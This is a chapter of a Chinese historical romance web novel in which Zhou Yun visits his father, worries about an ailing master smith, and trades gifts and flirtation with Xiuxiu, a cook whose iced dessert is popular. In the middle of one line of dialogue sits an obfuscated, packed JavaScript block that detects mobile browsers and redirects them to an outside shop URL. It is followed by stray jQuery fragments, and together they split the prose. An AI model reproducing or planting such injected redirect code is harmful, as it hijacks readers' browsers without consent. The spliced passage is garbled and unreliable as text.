周允离了金鼎轩那条喧闹街巷,转头走进一家铺子,不多时,径直回了周府。
刚踏进堂屋,却见周四海正捧着一卷册子,眼神飘忽,显然心思并未在书上。
见周允回来,周四海讶异,随即放下手中册子,问道:“你怎么回来了?坊里事务都妥当了?”
周允坐下,接过小厮奉上的茶,不紧不慢饮了一口,这才开口:“晚上便走。”
周四海问:“坊里出事了?”
周允反问:“不出事我便不能回来了?”
周四海对周允的态度置若罔闻,冷哼道:“说罢,何事?”
周允迟迟不开口。
周四海看过来,听见周允的话后,却不由惊讶,他的好儿子、他的允儿竟然说:“有些...放心不下家里,几日未归,总觉得心里不踏实,便回来看看。”
周允这话说得含糊,却是正好搔到周四海心尖尖上,儿子十二岁跑到冶坊,老子上门又哄又打,却是怎么也叫不回来,如今,儿子竟说挂念家里?
一刹那,周四海被一股巨大的欣慰之情包裹住。他看着周允那张日渐沉稳的脸,眼眶竟不受控制地微微发热,泛起湿意。
他连忙端起自己的茶盏,借着茶水热气掩饰失态,连声音都带上一丝哽咽,却仍嘴硬道:“能有什么事?家里一切都好,抓紧回去,莫耽误正事!”
屋里一时充斥着一股诡异的温情,周允自觉愧怍,心虚地端起茶盏又饮一口,才提起:“我进坊这些日子,您可去探望二师傅了?”
提起谢烛,周四海脸色慢慢从感动中恢复过来:“我正欲与你提起此事。”他降下声来,带着一丝困惑,“就在你入坊接手的那日午后,我心中记挂,便与大师傅一起前去探望。”
他回忆着当时的情形,语气愈发沉凝:“谁知到了他家门口,却被家仆拦在了门外,仆从只说二师傅病体沉重,怕过了病气给外人,执意谢绝见客,连门都没让我们进!”
周四海声音里掺着一丝难以置信:“你二师傅跟着咱家十几年,我们师兄弟何曾有过这般闭门不见的情形?往日他都是迎进送出的,如今这般生疏见外,甚是反常。”
周允的心一点点沉下去,父亲亲自上门都被拒之门外,这绝非二师傅平素的为人,二师傅恰好在这收官的紧要处病重离开,他入坊探查却也未见异常……
父子二人对视一眼,都在对方眼中看到了相同的疑虑,却是谁也未再开口。
午后时分,周府庭院深深,蝉鸣唧/唧,一派宁和。与之相比,几条街外的金鼎轩仍熙熙攘攘,正午的喧嚣鼎沸不止。
后厨里,秀秀刚匆匆扒了几口反,回到后院那件临时收拾出的小厢房里,换下已被汗水反复浸湿的草绿裙子。
拿湿的巾帕简单擦一擦,后背黏腻感稍减,再换上另一套干爽的衣裳,光绿色瞧着便清爽鲜亮,她忍不住轻轻舒了口气。
虽是又累又热,四肢酸软,但心底却有一股难以言喻的充实和喜悦在涌动。
这“甜冰蜜雪”引得食客们趋之若鹜,属实是意料之外。
本是因天气炎热,李厨头体恤后厨杂役辛苦,吩咐熬些绿豆水给大家解暑,她心中一动,忽地想起在平城时,她娘用山中野果熬制蜜酱,兑上井水后那酸甜沁爽的滋味。
秀秀琢磨着,天气炎热,何不做一道这样的解暑冰食?她随口向师父一提,李厨头竟当即拍板,让她去试,岂料成就如今这般火爆场面。
这些时日,金鼎轩生意红火,钊虹竟也宣布要给后厨涨工钱,大伙儿都干劲十足,秀秀也跟着卯足了劲儿。
她略作整理,便又打起精神,准备返回战场般的后厨。
“甜冰蜜雪”的关键便在果酱,那是她娘交给她的土方子,火候极有讲究,如今在皇京,她找不着老家的野果,便自个儿又改了配料,熬出的酱汁色泽清亮。甜而不腻。酸而不涩,是别家无论如何也模仿不来的。
正走到后院西角门,余光瞥见一个熟悉身影,正探头探脑,鬼鬼祟祟的。
定睛一看,原来是周允身边的小厮来兴。
来兴一见秀秀瞧见他,立刻蹿了进来,脸上堆着笑,双手奉上一个包袱:“钊姑娘!”
秀秀面露不解,下意识接过包袱,入手颇有些分量,只听来兴笑着说道:“还有一匹蝶绡料子,已经派人送往李府了。”
秀秀摸不着头脑,问:“这是作何?”
来兴连忙笑着解释:“是文珠小姐送您的...少爷、哦不,小姐、小姐还说了,最近天儿热,那蝶绡料子最是透气轻便,特意送给姐姐做身衣裳,给姐姐消消暑气。”
说着来兴又指指包袱:“这包袱里的,是少——小姐顺便让捎来的,”他差点又说漏嘴,连忙改口,“小姐说是坊里新打的菜刀和小铁锅,样子精巧,讨姐姐个欢心。”
秀秀抿唇,来兴这家伙,是故意的还是无意的?
拆开包袱一看,那铁锅比师父送的那口更小,也更精致,菜刀更是轻巧顺手,这般上乘的炊具,一眼便知出自何人手笔,但上头却没有周氏锅铺的烙印。
她不动声色把包袱包好,对来兴说:“原来如此,我知道了。替我多谢文珠妹妹费心。”
来兴见她收下,任务完成,笑嘻嘻地就要告辞。
秀秀急忙叫住他:“来兴,你等等!”
来兴脚上停住,回过头问道:“姑娘还有要吩咐的?”
秀秀却是一时语塞,清澈的眸子里满是踌躇之意,她看见来兴满头大汗,她带着一丝局促,声音柔和说道:“这会儿日头正毒,你跑来一趟也辛苦,不如到廊下稍坐,歇歇脚在走?”
来兴受宠若惊,连声道:“姑娘的好意小的心领了,小的不敢当。”
但见秀秀已率先走向廊下阴凉处的石凳,他也只好挠挠头,跟了过去。
秀秀让他稍候,自己转身进了后厨。不多时,她端着一个粗瓷大碗走了出来,碗里是绿澄澄的绿豆水。
“给,解解暑。”秀秀将碗递到来兴面前。
来兴正觉口干舌燥,见状喜出望外,连忙起身双手接过:“哎呦,谢谢钊姑娘!”
接着便咕咚咕咚喝了几大口,冰凉汤汁带走一身燥热,他满足地叹气:“真好喝!”
秀秀唇角弯弯,笑不及眼。
来兴几口喝完了绿豆汤,用袖子抹了抹嘴,再次道谢:“多谢钊姑娘,小的这就要回去了,少、小姐还等着回话呢。”
眼看他要走,秀秀又把人拦住:“哎...你...再稍等片刻!”
说完,不待来兴反应,她再次转身,脚步匆匆折返后厨。
来兴纳闷,却只得在廊下等着。
约莫过了一盏茶的功夫,才又见秀秀从后厨角门出来。
这一次,她手里拎着一个食盒出来,那食盒外层还凝结着细细水珠。
秀秀将食盒递给来兴:“这个你带回去,交给你家小姐,也替我谢谢妹妹...就说,”秀秀垂眸,接着笑道,“就说是姐姐的一点心意,望能讨妹妹欢心。”
“她真是这么说的?”周允半躺在榻上翻着棋谱,闻言把书放下,坐了起来。
来兴拍着胸脯保证:“一字不差!”说完便把食盒放到桌上,掀开盖子。
但见里面稳稳当当放着一碗冰,正是当今大名鼎鼎的“甜冰蜜雪”。乳白奶浆衬着嫣红果酱,碎冰晶莹剔透,丝丝凉气缭绕升腾,叫人顿觉暑气全消。
来兴机灵地递上小勺,周允拿起,舀了一勺送入口中,舌尖一抹冰凉,酸甜缠喉,他想起那只草绿色小蜜蜂,细细品味这一勺。
来兴在一旁看着,忍不住又夸赞起来:“钊姑娘真是心灵手巧,人美心善!那么忙,临走还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695097|188039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
特意给我盛了一大碗绿豆水歇脚,啧啧啧,那滋味,真是好喝。”
周允动作一顿,抬起头,睇一眼来兴那张回味无穷的脸,无波无澜问:“多好喝?”
来兴浑然未觉榻上的视线,咂咂嘴,由衷感叹:“比咱们府上的可好喝多了!冰冰凉,还甜丝丝的...”
“周允从鼻子里发出一声轻哼,垂下眼睫继续品尝,不以为意:“不就是一碗绿豆水?”
“那可真不一样!”来兴急于证明,“府上的是温热的,钊姑娘给的是冰镇过的,甜味也恰到好处,爽口,不腻。”
周允慢条斯理吃完一口冰,放下勺,拿布巾擦擦嘴角,抬眼看向来兴,眼神令人捉摸不透:“既如此好喝,那你再去一趟金鼎轩。”
来兴一愣,看了一眼桌上吃了一半的“甜冰蜜雪”:“少爷有何吩咐?””
“去买一碗金鼎轩的绿豆水回来。”周允指了指食盒,“顺便把食盒还回去。”
来兴眼睛瞪得溜圆,又看了看桌上,心里犯嘀咕,少爷连碗绿豆水的茬儿都找?
可面上却不敢显露,他苦脸应着:“是,少爷...”又拎着食盒,丧丧出门。
周允把剩的“甜冰蜜雪”三两口吃完,不自觉挤眉眯眼,牙根被冰得发酸,果酱流进心里,神清气爽。
时间紧张,不多耽误,他很快又出了门。
本是要去西边的广济堂,身下红鬃马却被太阳晒得迷糊,竟驮着主子来了东边的金鼎轩。
临近酒楼,来兴以为自己花了眼,掐了掐手,疼得呲牙,呆呆看向马上之人。
周允神色如常,冷着脸要过食盒,对来兴说:“你回去罢。”
他又策马离去,只剩来兴在墙边阴影里不明所以。
阳光正烈,周允绕到了酒楼后院,刚在门边站定,便瞧见秀秀端着一个空木盆从厨房出来,额发濡湿,脸颊绯红,显然是刚忙了一阵。
“秀秀。”他低声音唤了一句。
秀秀闻声抬头,见是他,随即飞快瞥了眼四周,这才放下木盆,快步走到门口。
周允把食盒递过去,秀秀接过来,两人隔着门槛,一时无话。
好一会儿后,秀秀终于忍不住:“我得回后厨了。”
秀秀被他滚烫的目光箍住,转身欲走,忽然,手腕也被轻轻箍住。
她脚上一顿,却没挣脱,背对着他,听见他极低的嗓音,好似耳语,只有两人听得见:“我是偷着从坊里出来的,不能让旁人知道,下午就得回去。”
秀秀微微侧头,露出小半张脸,问:“那你怎么还来这儿?”
周允嘴角微微扬起,声音沉沉,语调轻柔:“甜冰蜜雪,回味无穷,得当面谢谢‘姐姐’才是。”
秀秀的脸“轰”地一下红了,耳根都漫上粉色,猛地抽回手,低声啐道:“满嘴的油,一碗冰都堵不上是不是!”
周允低低地笑起来,见好就收:“坊里的活,再有六七日便能完工。”
秀秀不应。
他继续说:“到时候,我再来找你。”
秀秀心里有点不可抑制的抽搐,撇撇嘴,小声问:“来找我做甚么?”
周允慢慢牵上她袖角,一本正经答她:“非得是为了甚么吗?我就为看你一眼,行不行?”
他话音未落,秀秀再也待不住,又羞又急,这周允真是讨厌!
她像是怕被抓住似的,头也不回地逃了。
周允站在原地望定她,眼里带着奇异的光彩,见她仓皇的背影。头半晌是草绿色小蜜蜂,下半晌是光绿的蜻蜓,晚上呢?
秀秀一路小跑到廊檐下,脚步才稍稍放慢,鬼使神差地,她回头朝院子角门望了一眼,只见周允身长玉立,挺拔英姿站在太阳下,眯着眼炯炯看过来。
一颗心儿扑扑跳,她慌忙掀开厨房的帘子,钻了进去。